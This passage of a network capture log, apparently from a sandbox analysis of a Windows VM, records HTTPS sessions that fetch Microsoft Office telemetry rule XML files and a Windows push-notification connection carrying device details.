2024-10-29 16:59:10 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:11 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165911Z-16849878b78x6gn56mgecg60qc00000008qg000000003f5s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:11 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 483d2b14-201e-0085-779e-2934e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165911Z-r197bdfb6b4bq7nf8dgr5rzeq4000000025g000000004f74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:11 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165911Z-16849878b78q9m8bqvwuva4svc000000058g00000000rb21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:11 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:11 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: bebabdad-901e-0029-5d45-28274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165911Z-r197bdfb6b4bs5qf58wn14wgm000000005ug00000000b71x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:11 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:11 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:11 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165911Z-16849878b7828dsgct3vrzta70000000056g00000000gw1e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:11 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49716	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4a 44 6c 75 2f 38 42 48 74 45 69 76 36 46 6c 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 61 35 66 35 33 63 37 63 39 65 38 31 39 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: JDlu/8BHtEiv6Fld.1Context: 47a5f53c7c9e819b
2024-10-29 16:59:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-29 16:59:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4a 44 6c 75 2f 38 42 48 74 45 69 76 36 46 6c 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 61 35 66 35 33 63 37 63 39 65 38 31 39 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 46 46 64 79 50 77 32 4e 4f 6a 52 59 67 6a 46 63 6d 69 5a 38 39 63 36 58 62 49 70 38 7a 75 70 6b 4c 65 62 79 68 32 50 76 2b 63 69 63 38 79 55 4b 45 6c 77 70 34 50 5a 6d 37 4e 67 39 56 67 50 68 66 6a 66 65 47 55 49 2b 4f 45 62 46 61 4c 41 4d 75 43 67 52 51 79 2f 63 42 73 64 42 38 39 7a 61 67 30 6c 68 73 42 30 52 65 61 78 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: JDlu/8BHtEiv6Fld.2Context: 47a5f53c7c9e819b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcFFdyPw2NOjRYgjFcmiZ89c6XbIp8zupkLebyh2Pv+cic8yUKElwp4PZm7Ng9VgPhfjfeGUI+OEbFaLAMuCgRQy/cBsdB89zag0lhsB0Reaxw
2024-10-29 16:59:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4a 44 6c 75 2f 38 42 48 74 45 69 76 36 46 6c 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 61 35 66 35 33 63 37 63 39 65 38 31 39 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: JDlu/8BHtEiv6Fld.3Context: 47a5f53c7c9e819b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-29 16:59:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-29 16:59:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 75 36 44 55 6e 30 74 50 74 30 65 36 71 48 4f 32 78 64 53 33 56 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: u6DUn0tPt0e6qHO2xdS3VQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: f66eff46-601e-0084-3c9d-276b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165912Z-15b8d89586f42m673h1quuee4s0000000aw000000000awwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165912Z-15b8d89586fvpb59307bn2rcac00000001wg00000000dxg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5271dd0b-801e-00a0-6eb7-282196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165912Z-r197bdfb6b4c8q4qvwwy2byzsw000000077g000000002qdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cb18986a-b01e-0053-40f0-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165912Z-r197bdfb6b4jlq9hppzrdwabps000000022g000000001a8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
